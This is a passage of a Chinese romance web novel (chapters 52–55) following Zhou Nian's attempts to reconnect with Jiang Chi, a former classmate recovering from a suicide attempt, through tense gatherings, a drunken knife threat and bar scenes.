他一时忘了开灯,干脆挨着江池一屁股陷进沙发里。 “吓死我了!” 江池吐了口烟,偏头看他,似乎再问,怎么了? 想到周念给他发的短信,基本可以断定两个人私下见过,徐明就不再避讳提及她的名字。 “周念给我发短信,让我来看着你。” 他摸黑着找茶几上的遥控器。 “她找过你?” 江池没说话,默认了。 “她找你干嘛?” “我觉得吧。” 徐明叹了口气,分析说:“羞辱你?不至于。那天她在酒吧,赵樾这样挑衅她,她都能忍受。不至于为了看你笑话作贱自己。” 他自说自话道:“总不会是为了跟你和好吧。” 他若有所思地摇摇头:“应 该也不会,高中那会儿,你对她那么好,也看不出她喜欢你。” “对了!” 徐明语气肯定。 “肯定是听说你的事情,她良心发现,想到当初自己所作所为确实对不住你。同情心一泛滥,就想着来拯救你了。” 第52章 第52章唯独不是我周念 徐明带着一群人不请自来,说是大家好久没在一起吃火锅了,人多热闹也好打发时间,实则是多找几个人看着江池。这个消息不知怎么传到赵樾耳朵里,他竟带着姜小小和朋友一同来了。 来者是客,徐明没理由将人拒之门外。 其他人都在厨房客厅张罗着火锅食材,宋佳月则负责把江池从房间拽出来。她进门时,看到江池一个人默不作声地坐在床头抽烟。宋佳月径直走到窗边,窗门大开,寒风飕飕地往里窜,在房间里横冲直撞。 打开窗,她又折回床头抽掉江池指尖的烟,扔地上碾灭。 “你这两天抽了多少烟了?” 江池掀起眼皮看她一眼,没吭声。 宋佳月把烟蒂捡起来扔垃圾桶,顺带把茶几上的烟灰缸倒了,她一边收拾一边说。 “周念来找你了?” 江池置若罔闻,起身向浴室走去,刚到门口就见宋佳月张开双手呈‘大’字拦在他面前。 “你是不是心里还有她?” 江池垂眼看她,见她绷个小脸,柳眉倒立,轻叹了口气。 “管好你自己,省得你男朋友来我面前发疯。” 宋佳月:“” 宋佳月自觉理亏,双手一垂,让出路来。 没一会儿,只听她悠悠地说:“阿池,我只是想告诉你,你在一个人身上吃过一次亏,就不要在同一个身上吃第二次了。我不清楚她来找你的目的是什么,我只知道她能伤你一次,就有办法伤你无数次。” 江池站在水池前,回头看她。 宋佳月被看得发怵:“干嘛?我说错了。” 江池不耐烦地轻声赶她:“出去。” 宋佳月嘟起嘴:“我不出去。” 江池:“我脱裤子了,你要看?” 宋佳月:“有病。” 江池掬捧水洗脸,洗完,双手撑着台面缓缓看向镜子。瞳孔虚焦的一瞬,镜面上竟浮现出周念那张脸,昨晚,是他第一次看到周念哭,那颗晶莹的眼泪就直直落下,耳边仿佛还有她的声音。 你难过,我又何尝好过? 这时,门外有动静,他快速洗了个脸,将一些不切实际的想法斩断,走出浴室。 此时,一个身着包臀针织裙的女人正背对着他站在卧室里,她左顾右盼似乎在打量周围的一切,听到浴室门响动倏然转身。她见到江池的第一眼是习惯性的打量,目光快速地将他的人扫了一遍,最后停留在他脸上。 她讪讪道:“我找卫生间。” 江池微蹙起眉,偏头示意:“外面。” 女人没离开,含笑着走近,声音又软又黏:“你是江池吧,叫我露露就行。我可以用你的卫生间吗?外面的太多人用,我嫌脏。” 江池不置可否,正要跨步离开,露露突然双腿一弯,软向江池。江池蓦地皱眉,侧身避开她倒来的势头,擒住手腕借力一甩,将人掼在床垫上。 露露被暴力一扔,不但不恼反而心跳加速,她在床上缓缓转过身,直勾勾地盯着江池的脸,随即下移至**。然后拍拍被褥说:“你说这时候进来个人会怎么想?” 江池懒得跟她纠缠,说了个‘滚’就自顾离开房间。 八九个人硬生生挤在这六十平里,打牌的打牌,聊天的聊天。露露是赵樾带来的,听说是自己非要来,其中缘由大家猜猜也能猜出个一二。江池这人招桃花,走哪儿招哪儿,大家背后常常开玩笑,就这副皮囊玩得开点,儿女都成群了。 火锅开始沸腾,窗外是幽幽的蓝调,徐明招呼江池入座吃火锅,江池犹豫了秒,拿着垃圾袋准备下楼。 徐明看不懂他:“你什么意思啊,怎么突然去倒垃圾了?” “买烟。” 他打开门,习惯性地扫过台阶,没人。 江池又买了没尝试过的烟,没急着抽,而是在便利店门口干坐着,不知道在等什么。天色逐渐暗下来,他低头看了眼手机,点开周念昨晚的短信。 ——明天我还会来。 又等了会儿,徐明开始打电话催他,他敷衍两句后回家。从二楼拐角转向三楼时,他又下意识地看向那级台阶,照旧空空如也。 回到桌上,徐明问他是不是发神经,都吃饭了非要跑出去买烟,江池竟觉得他说得没错,笑了声说:“我是在发神经。” 他承认,徐明反而不好说他。 江池没怎么动筷子,偶尔拿起啤酒抿一口,偶尔心不在焉地看一眼窗外。露露坐在他对面,时不时神色暧昧地看他一眼。这心思,明眼人都看得出来,桌上有人默契地对了眼,心照不宣地笑笑。 露露是赵樾在酒吧认识的,心思野,玩得花。一般这种人徐明是看不上眼的。但转念一想要是有人能替他看着江池也不错。 毕竟人一旦想恋爱,就不至于想死。 所以对于露露的眼神挑逗,徐明也只当视而不见。 江池没动几筷,就感觉有东西在自己小腿上游戈,他搁下筷子,喝了口酒对此置之不理,谁曾想,对方不但没收敛,反而隐隐往上。 江池几不可查地勾了勾唇,起身离开桌子,独自一人回了房间。看他回了房间,露露也借口离席,跟了进去。 天已经完全黑了,江池的房间没开灯,只有外头散进的路灯能将屋子隐约照亮。露露一进门,还没开始张望,手腕忽然被人反手钳住。 她娇嗔着道:“你干嘛呀,弄痛人家了。” 江池不知何时点了烟衔在唇间,他不说话安静地看着露露挣扎。 进来前,露露还以为这招见效了,江池把持不住暗示她进门,直到前一秒还天真的以为,钳制她是因为他做这种事就喜欢简单粗暴,所以自己才会撒娇求饶。 可此刻面前这双阴沉甚至带着点阴鸷的眼睛,分明是在警告她。 但她见惯了各式各样的男人,她认为只要是生理正常的男人定然会上钩。于是她笑了笑,故意贴近江池的胸膛,另一只手试图去摸索什么。 还没往下摸,那只手也被擒住。 直到江池单手将她双手按在墙上,她才意识过来,面前这人是成心让她难堪,露露恼羞成怒:“你不是男人!” 江池嗤笑了声:“你说的没错。” 露露尝试着伸腿踢他,可惜他手长脚长,根本踢不到。 “你放开我!” 江池漫不经心地对着她吹了口烟。 “是我刚才说得不够清楚吗?滚字不认识?还是听不懂?” “呵。”露露也不示弱,哼笑说:“外面那么多人看着,有本事你让我滚啊,让大家看看你是不是男人。” 江池突然笑了声:“这可是你说的。给你台阶,你不要。” 说完,单手握住她两只手腕往外拖,桌上人眼看这架势,想过来劝,但看江池脸色不对就没人阻止。 江池将人粗暴往外拖,拖到门口,开门的一瞬,对上了周念错愕的双眼。 江池身形一顿,手上的力道不自觉轻了几分,眼神中闪过一丝慌乱,随后不动声色地移开眼,将露露往外一推,随即重重甩上门。 露露哪受过这种对待,穿着高跟鞋一脚踹在铁门上。 “妈的,江池,你tm不举!” “你不是男人!” 骂了几声,里面终于开门,是赵樾开的门,本着人是他带来的,闹僵了不好收场才想开门 劝她回去。谁知,周念竟然也在门口。 赵樾酒劲儿上来,冲着江池大喊。 “阿池,看看谁来了?” 除了江池,所有人都看向门口,面对众人好奇中滋生出的嫌恶目光,周念倒是镇定,一句话没说,自顾自坐在楼道口拿着笔记本分析数据。 露露睨她一眼,觉得这人莫名其妙,暗自埋冤今天运道不行,遇到个阳/痿男,于是扭头就走了。 “真晦气。” 桌上几人面面相觑,只有姜小小目光凶戾地剜向周念,赵樾自然不会放过这个让她出丑的机会。 他笑着去拉扯周念的衣服:“周老大坐外面干什么啊?来装深情呢?” 周念甩开他的手,将笔记本放进背包,慢条斯理地站起来,平静的目光夹杂了一丝鄙夷,似笑非笑道。 “还轮不到你来羞辱我。” 周念的话直接将赵樾点着,他大笑两声骤然拉下脸。 “周念!我给你脸了是不是?” 周念抿唇笑了笑,淡淡地开口道。 “你这人怎么过河拆桥啊,你难道忘了,当初为了让我爸给你安排个学校,你差点跪下来求我吗?” 她上前一步,继续挑衅道。 “你还记得怎么求我的吗?要我给大家复述一遍吗?” “你住嘴!” 赵樾恼羞成怒,喘着粗气四下张望,所有人看着他怒气冲冲地闯入厨房。当大家意识到不对时,已经晚了,赵樾拿着一把水果刀咬牙切齿地从厨房走出来。 桌上的人纷纷坐不住,上前来劝。 “阿樾,阿樾,冷静点。” “别冲动啊,阿樾,要坐牢的。” 此时的赵樾几乎疯魔,他对周念的恨已深入骨髓,加上酒精的催眠,完全听不进任何劝诫。他快速地跑到周念面前,将手里的刀往上一扬。 周念一怔,眼看着刀尖就要落下,她猛地闭上双眼。 一秒,两秒。 她慢慢睁眼,扬起的刀没有落下,江池挡在她面前,用力地钳制住赵樾的手腕。 赵樾:“江池!你放手!” 江池咬着牙夺过刀,单脚一踹将他踹倒在地,看着赵樾在地上挣扎两下一时起不来。他才得空转过头看周念蹙着眉头责怪。 “脚长身上不会跑吗?” 周念抿着唇,冲他微微一笑:“不是有你吗?” 江池一怔,又恢复到昨晚看她的眼神。 “走吧,我不想见你。” “江池!” 赵樾躺在地上大喊:“你是不是忘了,谁害死的你妈?要不是因为她,你妈不会死。你要真跟她搞在一起,你还有脸见人吗?” 闻言,江池的拳头慢慢攥紧,身体不受控地发抖发颤。周念绕到他面前,可他却垂眸看地,不再看她。 “快走,别再来了。” 周念站在他面前,仰头看着那张脸。 “你也这样想?认为是我害了你妈?” 江池红着眼缓缓看向她:“你觉得呢?” 周念深深提了口气,声线陡然拔升。 “江池,你搞清楚,杀死她的是你父亲的贪婪!” “是周宏伟的软弱!” “是你江池的自以为是!” “是那辆飞驰而来的货车!” “唯独不是我周念!” 第53章 第53章我不需要你可怜我 城北新开一家融合菜馆,叶琳对宣传册上的美食颇有兴趣,约了方妙和周念一同品尝。中午时分,三个人前后脚到达餐厅。 还未落座就听叶琳在抱怨:“中午来多没情趣,这种漂亮饭当然要在晚上吃。” 作为被抱怨的对象,周念反驳的有理有据:“我晚上没时间,让你们两个单独约,你又不愿意。” 叶琳:“你晚上要去哪儿?” 周念敛了敛鬓发说:“实验室挺忙的。” 方妙拉着两人落座,从中调和道:“好啦,白天晚上不都一样嘛,来都来了,还闹别扭呢。” 叶琳把菜单上花里胡哨的菜都点了一遍,问及方妙婚礼的安排,方妙滔滔不绝,把所有事情罗列一遍,听得对面两人连连皱眉。 叶琳惊叹:“好麻烦哦。” “是啊。”方妙转而问起她的近况:“你跟那个体制男怎么认识的。” “什么体制男,有你这么取绰号的吗?” 虽然叶琳对这个称呼有所不满,还是一五一十地回答了她的问题。 “说来也挺巧,下雨天给我妈送伞,半路看到有个男人冒雨在走。我就鬼使神差地瞥了眼,好家伙,长得不错。一时心软就把伞给了他,一来二去就认识了,聊着聊着就好上了。” “一时心软?”周念抓住重点词,笑着揶揄:“是见色起意。” 叶琳耸耸肩大方承认:“各取所需嘛。” 既然两个人都分享了感情问题,自然绕不开周念,方妙视线游移到周念脸上:“小念,你喜欢男人吗?” 周念:“” 叶琳瞄了她一眼,阴阳怪气道:“问你呢,喜欢男人吗?” 周念自顾夹了口菜,试图转移话题:“味道还行。” 叶琳莫名地叹了口气,单手托腮看向周念:“见到江池了吗?” 不知为何,每每想到江池,就会想起那个纹丝不动的黑色剪影,就像被拖入永夜的囚徒,不挣扎,不反抗,自暴自弃,静待死刑。 周念‘嗯’了声,没继续往下说。 叶琳追问道:“他怎么样了?” 方妙一头雾水:“江池?是我认识的那个江池吗?” 叶琳无语,蹙眉看向周念:“她还不知道啊?” 周念抿唇。 方妙愣了几秒,突然瞪大眼睛看着周念:“你跟江池?” 她胳膊往桌上一搭,双手交叉紧扣,豁然道:“怪不得那天聊起江池自杀,你反应那么大。我怎么没想到呢!” “原来你就是那个罪魁祸首。” 叶琳无语地贴着椅背,恨不得给她翻个白眼。 “你好端端的跟她提这些干什么?让她回来受这罪。” 方妙一脸无辜:“冤枉啊!你俩才是,瞒了我那么久。我要知道小念跟他,我怎么敢提啊而且也不是我提的。” 她顿了顿说话的声音小了下去:“你给我一百个脑袋,我都想不到他们会有联系” “好啦。” 周念握住叶琳的手说:“和妙妙无关,我迟早都会知道的。” 方妙似乎又想起什么,握紧筷子往桌上一敲。 “所以高三那会儿,你拉着我学了一晚上围巾,是织给江池的?” 周念不否认:“嗯。” 方妙还是不能理解:“那他们为什么传你钓着他啊?” 周念指节不经意间蜷起,叶琳偷偷瞄了她一眼只说。 “哎呀,跟你解释不清楚。” 实验室每天都有收尾工作,这些天周念回得早,心里有些过意不去,今晚主动提出留下来收尾。她做事专注,常常因为太过投入而忘记时间。等她把数据整理完,墙上的挂钟显示快过十点了…… 她记着昨晚给江池的短信——明天我还会来。 于是快速整理完设备,打车去了江池小区。 走到单元楼楼下,她抬头张望江池的房间,房内灯火通明,他还没睡。于是她朝着那个黑黝黝的楼道走去,走至三楼,门缝里有光束透出。 她敲了敲门,无人回应。 她原地伫立,半晌,又叩响铁门。 “我知道你在里面。” “我就在门外。” 她看了眼手机屏上的时间。 “十一点我就走。” 隔着铁门,江池正坐在沙发上发呆,她不知道的是他已经魂不守舍地坐了一晚上了,期间下过两次楼。 周念坐在门口的最近一级台阶上,打开笔记本电脑将手头的数据重新整合,发到群里,第一个回消息的是郑渊。 ——那么晚,还没回家? ——已经回家了。 过了会儿,他又发来。 ——不愧是孙老师破格推荐的人,报告清晰明了。 周念只当是组员间的恭维 。 ——不敢当。 周念以为到此就没下文,谁曾想这人私信过来。 ——有个不情之请。 ——周末到‘夜话’帮我试一下新品,因为你是唯一一个尝出我家橙汁和别家不一样的。 周念汗颜,这人总是在正经和不正经间横跳,她没把话说死,只说:有空的话就去。 谁料,郑渊当她是答应了。 ——周日,我去你家接你。 结束对话,周念怔怔望着电脑屏幕出神。就在昨晚,就在这个位置,她对江池说出那些话。 想到他不愿继承父亲靠出卖母亲身体而得来的财产,骨子里那么骄傲一个人。而她,不管是不是害死傅研的罪魁祸首,周围的人都已经盖棺定论,所以呢,所以会有结果吗? 想到这,周念的心像被人剜了个洞,绵密的疼从空洞里渗出来。 她回头看了眼门缝里透出来的光,心想:命运啊,为什么总爱设这种荒诞的路障。 她不想被无能为力的情绪左右,迫使自己重新投入到工作中。然而此时,楼下响起了一深一浅两个脚步声,她看了眼屏幕右上角的时间,快十一点——今晚,江池是不会见她的。 正当她打算收拾电脑回家时,脚步声已经拾级而上近在咫尺。 借着电脑屏的弱光,周念看到拐角处出现了两个男人。走在前面的是个高大壮实的光头男,而后面那个与之相反,又瘦又矮一举一动都像只猥琐的猴子。 周念咽了口气,冷静而快速地回避两人的视线。 两个男人见到台阶上有个女的,打量的眼神不加掩饰,打量完还默契地相视一笑,发出骇人而猥琐的笑声。周念只尽量垂眸不与他们有任何眼神接触。 高个男人减缓了步子,目光始终停留在周念身上,就在两人与周念擦肩的瞬间,男人的脚步猝然停止。 “小姑娘,你一个人啊?” 周念置若罔闻,手指却在电脑上胡乱敲打。她自认能应对赵樾这种衣冠楚楚的斯文败类,但对于不讲道理的地痞流氓,她根本没有把握。 男人身体稍稍挨近问:“我们同一栋楼的,要不要认识一下?” 周念心跳陡然加速,却佯装镇定不予理睬。 男人忽然玩味儿似地笑笑:“你紧张什么?法治社会,哥哥们又不会对你做什么?” 后面的男人也笑,声音细而尖,与他样子如出一辙的猥琐。 “长得真嫩啊。” “别怕,我们加个微信认识认识?怎么样。” 就在这时,身后那道门突然发出低沉的‘咯吱’声,门缝那丝光束被强烈的灯光取而代之。 江池开门时刻意放轻动作,目光扫过两个男人后,径直落在周念身上。 “没带钥匙不会打电话?” 周念赶紧把笔记本收好,快步走到他跟前,江池不动声色地扫过两人,将手搭在周念肩头,把她往门里带。 “下次记得早点回家。” 周念乖乖点了点头。 门口两人见状,悻悻道:“啧,真没劲。” 合上门,搭在她肩头的手快速滑落。 周念看着屋内丝丝缕缕的青烟,没忍住呛了几口,对于刚刚的事,她仍心有余悸。 “谢谢。” 江池没看她,拿起桌上的打火机和烟转头回了房间,进门前微微偏头看向他处。 “等他们上楼,你就走。” 说完,自顾回房关门,留给她一个空荡荡的客厅。 周念怔怔地看向那扇紧闭的房门,又回首看着身后那扇铁门,不自觉微微勾唇。 烟味实在太冲,她走到窗前打开窗户,寒意裹着雨丝卷入屋内,她放眼远眺楼下的路灯,橙黄光晕下,小雨稠密如纱。 沙发前的地面上,散落一地烟头,周念粗粗看眼足足有十几根,她把烟蒂捡进垃圾桶,抽出纸巾将烟灰抹干净,擦完,走进厨房洗手。 厨房很小,除去灶台水池,堪堪放下一只冰箱。周念扫了眼,刀具是新的,砧板是新的,抹布白得一尘不染,除了昨晚火锅剩下一些蔬菜堆积在角落,其他地方几乎没有生活痕迹。 周念愣神时,江池已经走到厨房门口,他紧抿着嘴唇,嘴角微微下撇,不难看出心里正窝着一团火。 “还不走?” 目光越过江池,周念看向墙上挂钟,不徐不疾得说到。 “没到时间,十一点我就走。” 她看向灶台上的新厨具,又瞥了眼角落的蔬菜询问道。 “抽那么多烟,吃过饭了吗?需要给你煮点吗?” 江池眉头紧簇,蓦地上前一步。 “你什么意思?” 周念仰头,平静地回视他。 “很难理解吗?我问你饿不饿,想不想吃东西。” 说完,走到灶台前,佝着背去点燃气,随着丝丝的电子声响起,几簇蓝色火苗窜了起来。 周念唇角微扬,直起身:“还好,能用。” 江池走上前,关掉燃气,然后按住周念的肩头,猛地一扳,让她转过身来,两人对峙着。 “走,少在这里假慈悲。” “随你怎么想。” 她刚要伸手去拿锅子,手腕就被人江池用力钳住,他提了口气,语气里充斥着无奈。 “周念,你到底想怎么样?” “你看不出来吗?” 周念用那双逐渐红润的眼睛,直直地望向他的眼睛。 “我舍不得你死。” 江池身形一僵,手上的力道不自觉轻了几分,他快速回避那双可怕的眼睛,沉默半晌才挤出一声闷笑。 “收起你那点虚伪的同情心,我不需要你可怜我。” 周念垂眸时唇角掠过一丝苦笑,目光不由自主地飘向他的手腕。黑色袖口垂落,她看不到那道狰狞的疤痕,也想象不到他当时的绝望,她只知道,她不想江池死。 “不是同情,不是可怜。” 周念再一次去够他的视线。 “是我忘不掉你。” 她的声音渐渐低下去:“你舍得忘掉我吗?” 江池到底也没回应她的问题,一个人默不作声地回了房间,再也没出来。昨晚,他一夜没睡,周念走时,特意看了时间,十一点,一分不差。 次日清早,他走出房间,发现桌上有她留的面,早已坨成一团。他只偏头看了眼便出门了。 他在便利店买了包烟,走到半路又折返回来,目光在货架上扫视。 老板看他找东西便问:“找什么?” 江池:“灯泡有卖吗?” 第54章 第54章再不走,就哄不好了…… “念念,最近怎么回来得越来越晚了。” 张宁正用碟子盛放新买的包子和油条,余光始终留意着周念,她把早餐放在桌子中央,忙完,径直走向厨房。 “昨晚到家都十二点多了。” 周念瞧了眼早饭,都是油腻易饱的碳水,悬在半空的手一时摇摆不定。最后选了一根最小的油条,掐了一小段往嘴里送。 “实验室忙。” 张宁回厨房拿了三个玻璃杯,又折向冰箱拿牛奶,语气中全是狐疑:“是吗?才大三有那么忙吗?” 周念慢慢咀嚼:“您要不信,可以自己去看。” “妈不是这个意思。” 张宁关冰箱门的手一顿,小声抱怨:“长大了,真是一点都不能问了。” 一段油条足足嚼了半分钟,周念咽完突然看向周宏伟:“爸,我向您咨询个事儿?” “咨询?” 这些年来,除了日常招呼,周念几乎不与周宏伟聊天。她突然问起,周宏伟有点不知所措:“什么事儿?” 周念没着急说,举着牛奶迟疑:“我这个年纪,还能参加高考吗?” 周宏伟把咬一半的包子放进碗里,若有所思地点点头:“按道理,只要有高中文凭都可以参加高考,不过一些特殊专业会有年龄限制。” 听到结果,周念浅浅地弯起唇线。 张宁余光瞥见那一抹笑,眸子一转,故作随意地问。 “你身边还有没考大学的人吗?这种人还是少接触为好。” 周念收敛笑意,没搭话。 张宁见她态度转变,意识到自己扫了她的兴,立刻转移话题。只见她拿出手机打开与叶硕的微信,将对话框里的照片放大。 一张男人的生活照,黑框眼镜,Polo衫,相貌平平,笑起来透着一股精明的算计,标准的体 制内长相。 “长得怎么样?” 周念扫了眼,没评价,只说:“我暂时不需要。” “不是妈妈的意思,这是你叶阿姨给你介绍的,总不好驳了人家面子,你就聊聊,聊得不错就出去见一面,要是聊不到一块儿就罢了。” 张宁一直注意着周念的脸色,见她兴致不高,心中冒出一团无名火,刚想数落她,就听周念不紧不慢地说。 “好,反正我向来就是被告知的那个,既然您已经决定了,我还能有什么理由拒绝呢。” 张宁喜笑颜开:“那我这就给你发过去,记得别太冷落人家了,知道吗?” 周日,周念依然去了实验室,她自觉花了太多的时间在江池身上,刚好利用周末补下拙。下午时分,郑渊发微信问她几点接她比较合适,她才想起他的‘试酒’邀请。 周念看了眼手机下午四点,又环顾四周,该做的都做完了,没有额外流程。她思忖片刻,给郑渊发去微信。 ——晚上8点以后吧,现在没时间。 郑渊说好,八点再联系。 她慢条斯理地整理仪器设备,整理完回了家。 银城的腊月寒风刺骨,不似北城总飘着绵密的雪粒子,刮得人脸生疼。而银城的风更甚,能穿透衣衫,将阴冷一寸寸扎入骨髓。 周念怕冷,特别怕南方的阴冷。这些天,她总是把羽绒衣从上到下裹得严严实实,而今天,从实验室回来,她脱下羽绒衣,换上及膝的针织连衣裙,外头套上一件卡其色呢大衣,脚踩一双驼色马丁靴。她把头发束成温婉的低马尾,出门前特意涂了显色的口红。 晚八点,弄堂外。 郑渊降下车窗看她,不自觉挑了挑眉,笑着看她坐进副驾驶。 “那么重视我的品酒之约,真是荣幸之至。” “” 不至于。 周念想解释,话到嘴边咽了回去。 郑渊用下巴点了点周念托特包里的笔记本。 “喝酒也带电脑。” “一会儿还得去别的地方。” 郑渊的车技还是一如既往的烂,油门和刹车在他脚下随意切换,眼看着要冲过那只跳闪的黄灯,哪知他又猛地一脚刹车,刹得周念猝不及防差点和副驾驶挡板来个亲密接触。 没吃晚饭这件事,无疑成了周念今天做的最正确的决定。 郑渊专心致志地开车,等红灯的间隙突然拿出手机,点开照片——周念在‘夜话’喝深水炸弹的照片。 确认她看到后,郑渊放下手机,转而竖起大拇指。 “牛!” “” 周念尴尬地扯笑解释说:“还是吐了。” 郑渊轻笑道:“既然深水炸弹都可以,那帮我尝尝鸡尾酒应该不在话下吧。” 周念也不知道哪儿来的自信说:“可以。” 郑渊瞧她信心满满的小样子,觉得怪可爱的,调侃道:“看样子,不喝八九杯不在话下。” “对了。”郑渊目标瞟了眼手机说:“没记错的话,照片里那男的是跟我打架那位?方便说一下你们的故事吗?” 周念抿了抿唇,视线落到窗外:“我跟他哪有什么故事。” 郑渊遗憾地嘟嘴:“哎,平白无故被人打了一拳,打完连知情权都没有。” 周念不想从头到尾慢慢叙述,只说:“用了一些不太光彩的手段,让学校把他开除了。” 郑渊‘啧’了声,眼神竟有些崇拜:“不光彩的手段?” 周念:“” 郑渊:“那他对你挺客气的。” 周念:“” 八点多的‘夜话’还很冷清,周念随郑渊走向吧台的路上,不动声色地扫了眼徐明一行人的老位置,位置上没人。 郑渊抬手,冲着吧台后的调酒师打了个响指,高声道:“两杯鸡尾酒,一杯天使之吻,一杯自由古巴!” 说完向周念解释:“从度数低的开始。” 周念无所谓,任他安排。 不一会儿,调酒师手法娴熟地将两杯酒调好,推到他面前。郑渊一手稳稳端起一杯,刚朝着卡座的方向走去,就被周念叫住:“就在这儿喝吧。后面还有好几杯呢,省得一趟趟来回跑了。” 郑渊脚步一顿,扭头看向周念,笑着点头,顺势在吧台边的高脚凳上坐了下来。 “天使之吻。” 他把一小杯深棕色酒推到周念面前,手掌朝上:“请。” 天使之吻底部是深邃的巧克力海洋,顶部如蓬松的洁白棉絮,最上方还点缀着一颗用竹签固定的樱桃。周念取出樱桃的一瞬,白色棉絮上浮现一个浅棕色的‘吻’。 周念抿了口,不自觉地皱了下眉头,她果然不爱喝酒。 喝完,眼尾不经意扫过‘夜话’门口。 这时,赵樾一行人陆陆续续走了进来。 郑渊瞧她蹙眉的模样略显惊讶:“就这都喝不下去?那你怎么敢玩深水炸弹的?” 周念浅笑说:“卖惨呢。” 郑渊:“卖给谁看?” 周念垂眸不语,而是再一次看向赵樾那头。 “自由古巴。” 郑渊把另一杯酒推过来:“好好品,喝完要写PPT的。” “???” 周念歪着脑袋仿佛在说‘来之前你也没说啊?’,瞧她一脸不可置信的小表情,郑渊差点笑出声:“开玩笑呢!这都信。” 周念扶额,举起酒杯喝了一口,还未喝完,郑渊已经转向调酒师。 “再来一杯” 话未完,‘哐当!’一声脆响。 当时驻唱未到,酒吧异常安静,这声响动几乎吸引在场所有人的目光。周念忙跳下高脚凳,准备清理现场。 郑渊拦住她:“别动,一会儿扎破手,让保洁扫一下就好。” ** 江池把家里能扔的都当垃圾扔了,第三次开门,视线瞥向那级空荡台阶时,他觉得自己有病,而且病得不轻。扔完最后一小袋垃圾,江池漫步去了便利店,便利店老板见他进门,不等开口就从货架上抽出他常买的烟。 江池在便利店漫无目的地逛了两圈,最终回到收银台,从柜台边的纸箱里抽出一瓶水再问老板要了一包烟。 付款时周念来了短信——今天有点事,我晚点过去。 也是奇怪,看到周念的短信,焦躁的心顿时就静了下来。 江池坐在长椅上,仰头灌了口水,掌心手机又有颤动,他边喝边去查看。看到赵樾发来的照片,他瞳孔骤缩,目光明显暗沉下来。 他拧紧瓶盖,将剩下半瓶水抛向垃圾桶,面无表情地静坐几秒后,倏地起身走到垃圾桶旁点了根烟。 他沉默地吸了两口,目光虚焦在地面的裂缝上,抽到一半忽然提了口气,将未抽完的烟往下一扔匆匆碾灭,转身离开。 ** 终归是不胜酒力的,即便每种只浅尝几口,但酒精积攒到一定量,周念两颊还是浮现出淡淡的绯红色。郑渊也瞧出她确实不是喝酒的料,就问吧台要了两杯果汁。 想起刚刚她自信满满地模样,郑渊不禁戏谑:“你刚刚那架势还以为是千杯不醉的女中豪杰。” 周念笑笑:“不做做样子,怎么骗郑老板的免费酒喝?” 郑渊把她面前的酒移开,将果汁推过来。 “喝点果汁吧,要是醉了,明天就不好向导师交代了。” “不喝了,去趟厕所。” 从厕所出来时周念仍带着醉意,她倚在洗手台前,将绵柔巾浸了冷水按在脸上。正当她沉浸在凉意之中,头顶的灯光忽然暗了半度,瓷砖地面的反光也跟着沉了沉。她猝然抬头,镜中江池的身影正笼在暖光 与冷影的交界,额前碎发将眸光切出半片阴影,唯有喉结随吞咽动作轻轻滚动。 她又用棉柔巾揉了揉眼睛,敛起鬓边碎发才慢慢转过身,声音带着点温吞地迟疑:“你也在啊?” 江池垂眸,直直地看向她略无措的眼神,忽地笑了。 “我打扰到你的好事了?” 周念脸上闪过一丝不易察觉的窘迫。 “没有。” 她原地深吸一口气,无意识捋了捋鬓发,恢复镇定。 “我一会儿跟你解释。” 说完就要走,擦肩的一瞬,江池扣住她的手腕,轻轻一拽,将她拽回到自己跟前。 “那么着急去哪儿?” 周念抿唇,沉默。 真是不管几年过去,每次看到周念这幅模样,总能让江池着急上火。 “在那儿跟我玩深情,在这儿跟别人眉来眼去?” “不是你想的那样。” 周念平静地抬头,凝视他的眼睛,再次开口时,语气里竟无一丝忐忑。 “而且,你不是不想见我吗?应该也没权利管我去哪里,跟谁眉来眼去。” 江池咬咬牙,莫名地低笑一声,点点头:“也对。” 江池松开她的手,比她先一步到达吧台。目光不加掩饰直直落在郑渊脸上,郑渊被看得莫名其妙,挑了下眉刚想问‘我们认识?’,江池的视线就从他身上掠过,转向吧台另一处。 周念见状舒了口气,毕竟‘冲突’并不在她的计划之中。好在江池没冲动到要动手。 江池走到一个穿着露骨的女人身边,依然是直白的眼神。女人先是余光瞥见,确定被人盯着后,半转向江池,看清对方容貌后嘴角不自觉上扬。 她单手托腮,无声地做了个口型。 “找我?” 江池勾勾唇:“喝酒了吗?” 女人诧异得挑眉,说:“还没。” 闻言,江池将口袋的车钥匙摔在吧台上。 “会开车吗?” 女人的唇角始终扬着,她用食指挑起钥匙串。 “会啊。” 江池微歪着头:“走?” 女人勾住钥匙,笑着朝他走去。 两人一前一后走出‘夜话’。 周念静静地看着两人出门,走去跟郑渊道别。 “我得先走了。” 郑渊不解:“那么着急?” “嗯。”周念语气无奈:“再不走,就哄不好了。” 第55章 第55章那么多年了,说谎的本事…… 女人顺着江池手机导航一路行驶进小区,车子停在单元楼楼下。她有点诧异,身边这个男人自上车后就不再说一句话,板着个臭脸像是谁欠他似的。 到达地点后,江池仍坐在副驾驶一动不动地看着车窗外。 “不下车?” 女人的手有意无意地划过他的大腿。 “还是在车里?” 即便视线紧盯单元门,江池仍能精准抓住她拂来的手,他慢慢偏过头,唇角勾起一抹若有似无的笑。 “着什么急?” 女人被他撩出心头火烫,笑着抽手,娇嗔道:“你叫人家来的,怎么能算我着急呢。” 江池极浅地哼笑一声,视线重新回到那扇单元门内。 周念本就酒劲未消,加上银城堵车,师傅一脚油门一脚刹车的反复折腾,她恶心得差点就要吐在车里。下车后,新鲜空气猛灌入肺,才缓过来。 下车后她小跑着往单元楼奔去,鞋底在结冰的路面上打滑,跑到铁门前时膝盖已经开始打颤。胃里的翻涌混着剧烈喘息,冷汗顺着后颈渗进衣领。实在没力气支撑她站着,她只能扶着那扇锈迹斑斑的铁门,慢慢蹲了下来。 车内,江池不自觉皱了眉,原先耷拉的双肩在这一瞬绷成直线,喉结重重滚动,拳头无意识地攥紧。 女人留意到他的微妙反应,顺着他的视线望向窗外,迟疑道:“认识?” 江池没说话,身体向后跌进椅背,他从口袋里摸出烟盒,点燃一支烟,火光在睫毛下忽明忽暗。 歇了会儿,周念缓缓起身。她看向漆黑的楼道,一时不确定江池是否把女人带上楼了。踏上楼道的瞬间,漆黑的楼道顿时亮起白光,恍若白昼。周念抬头望向那盏刺眼的灯,疑惑地退回到单元楼下,又抬头看了眼门牌——没错,确实是这里。 她恍神一瞬,唇角突然弯起一抹好看的弧度。 周念一路向上,楼道的灯逐一亮起。她停在三楼门口,屈指叩响大门,不知该说什么,又补了两次叩击,门内始终寂静无声。于是她像往常一样蜷坐在那级台阶上,取出电脑,专心地处理起手头的工作。 江池点完烟,开门:“下车。” 